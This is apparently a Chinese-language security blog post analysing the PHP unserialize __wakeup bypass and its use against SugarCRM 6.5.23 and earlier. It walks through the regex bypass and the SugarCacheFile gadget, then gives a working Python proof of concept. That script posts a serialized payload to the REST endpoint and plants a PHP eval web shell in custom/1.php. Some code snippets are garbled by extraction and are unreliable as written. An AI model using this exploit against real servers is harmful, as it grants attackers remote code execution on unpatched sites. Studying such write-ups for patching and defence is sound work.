之前在hitcon 2016瞭解到這個漏洞,後來因爲保研、項目什麼的一直沒時間做,終於有時間研究下這個漏洞了。
ven師傅Blog:http://www.venenof.com/index.php/archives/167/
漏洞影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理
__wakeup
觸發於unserilize()
調用之前,但是如果被反序列話的字符串其中對應的對象的屬性個數發生變化時,會導致反序列化失敗而同時使得__wakeup
失效。
<?php
class bendawang{
private $a = array();
function __wakeup()
{
echo "hello\n";
}
function __destruct(){
echo "123";
}
}
/*111
$b=new bendawang();
echo serialize($b);
file_put_contents('1.txt', serialize($b));
*/
/*222
$c = unserialize(file_get_contents('1.txt'));
var_dump($c);
*/
?>
先運行第一部分,然後得到
把1.txt
裏面的"bendawang":1
改成2,那麼就無法觸發__wakeup()
,但是隨後會繼續觸發__destruct
漏洞場景
<?php
class Student{
private $full_name = '';
private $score = 0;
private $grades = array();
public function __construct(fullname,fullname,
score, $grades)
{
this−>fullname=this−>fullname=
full_name;
this−>grades=this−>grades=
grades;
this−>score=this−>score=
score;
}
function __destruct()
{
var_dump($this);
}
function __wakeup()
{
foreach(get_object_vars(this)asthis)as
k => $v) {
this−>this−>
k = null;
}
echo "Waking up...\n";
}
}
// $s = new Student('bendawang', 123, array('a' => 90, 'b' => 100));
// file_put_contents('1.txt', serialize($s));
$a = unserialize(file_get_contents('1.txt'));
?>
正常運行應當是$a
的屬性因爲執行了__wakeup
都被清空了
而此時我們把1.txt
裏面的
換成如下:
再執行
發現並沒有在執行__wakeup
函數,所以這就是問題所在了!!
實例演示
sugarcrm <=6.5.23
首先是在service/core/REST/SugarRestSerialize.php
下的serve.php函數如下:
觀察到其中傳入sugar_unserialize
的$data
是我們可以控制的,來自於$_REQUEST['rest_data']
。
其中sugar_unserialize
函數定義如下:
而這裏'/[oc]:\d+:/i'
我們是可以繞過的,它本意是想過濾掉輸入的object類型,但是如果我們是這樣子的呢o:14 -> o:+14
,這樣就完成繞過。
從而能夠是我們的數據成功傳入到unserialize
中。
接下來就是尋找另一個類,並且含有可利用的魔法方法
於是我們找到了include/SugarCache/SugarCacheFile.php
下的兩個魔法方法。
也就是說,接下來我們就需要找到一個點,這個點調用了SugarRestSerialize.php
的serve()
方法,並且這個點include
過存在漏洞的SugarCacheFile.php
文件。
在/sugarcrm/service/v4/rest.php
中如下:
而其中的webservice.php
爲:
<?php
ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path); // service/core/SugarRestService.php
require_once($registry_path); // service/v4/registry.php
if(isset($webservice_impl_class_path))
require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);
// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;
$service->serve();
?>
這裏相當於在webservice.php
中實例化了service/core/SugarRestService.php
中的SugarRestService
類並且調用了這個類的serve
方法,看看這個被實例化的類的構造方法和serve()
protected function _getTypeName($name)
{
if(empty($name)) return 'SugarRest';
$name = clean_string($name, 'ALPHANUM');
$type = '';
switch(strtolower($name)) {
case 'json':
$type = 'JSON';
break;
case 'rss':
$type = 'RSS';
break;
case 'serialize':
$type = 'Serialize';
break;
}
$classname = "SugarRest$type";
if(!file_exists('service/core/REST/' . $classname . '.php')) {
return 'SugarRest';
}
return $classname;
}
/**
* Constructor.
*
* @param String $url - REST url
*/
function __construct($url){
$GLOBALS['log']->info('Begin: SugarRestService->__construct');
$this->restURL = $url;
$this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
$this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
$GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
require_once('service/core/REST/'. $this->serverClass . '.php');
$GLOBALS['log']->info('End: SugarRestService->__construct');
}
function serve(){
$GLOBALS['log']->info('Begin: SugarRestService->serve');
require_once('service/core/REST/'. $this->responseClass . '.php');
$response = $this->responseClass;
$responseServer = new $response($this->implementation);
$this->server->faultServer = $responseServer;
$responseServer->faultServer = $responseServer;
$responseServer->generateResponse($this->server->serve());
$GLOBALS['log']->info('End: SugarRestService->serve');
}
所以當我們傳入input_type
是serialize
的時候,就能夠將我們希望的SugarRestSerialize.php
文件包含進來,並且在運行上面的serve的時候把我們希望的SugarRestSerialize.php
下的serve
也調用了,完美符合要求。
先構造出我們的payload,如下:
<?php
class SugarCacheFile{
protected $_cacheFileName;
protected $_localStore ;
protected $_cacheChanged = true;
function __construct($a,$b){
$this->_cacheFileName=$a;
$this->_localStore[0]=$b;
}
}
$a="../custom/1.php";
$b="<?php eval(\$_POST['bdw']);?>";
$sugarcachefile=new SugarCacheFile($a,$b);
echo serialize($sugarcachefile)."<br>";
?>
得到的如下:
然後把最開始的14改爲+14,把3改爲其他大於3的數字,這樣子就能夠繞過過濾和判斷,從而把一句話寫入到$_cacheFileName
中,即custom/1.php
。
這裏需要注意一個很重要的地方,一定要把裏面的代表類型的小寫s變成大寫S,不然會失敗。
最終提交如下:
這樣子就成功了。
寫一個poc
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
if len(sys.argv)<=1:
print "usage : python xxx.py sitehome"
else:
ip=sys.argv[1]
url=ip+"/sugarcrm/service/v4/rest.php"
param={
'method': 'login',
"input_type":"Serialize",
"rest_data":'O:+14:"SugarCacheFile":10:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:28:"<?php eval($_POST[\'bdw\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}
r=requests.session()
result=r.post(url,data=param)
print result.content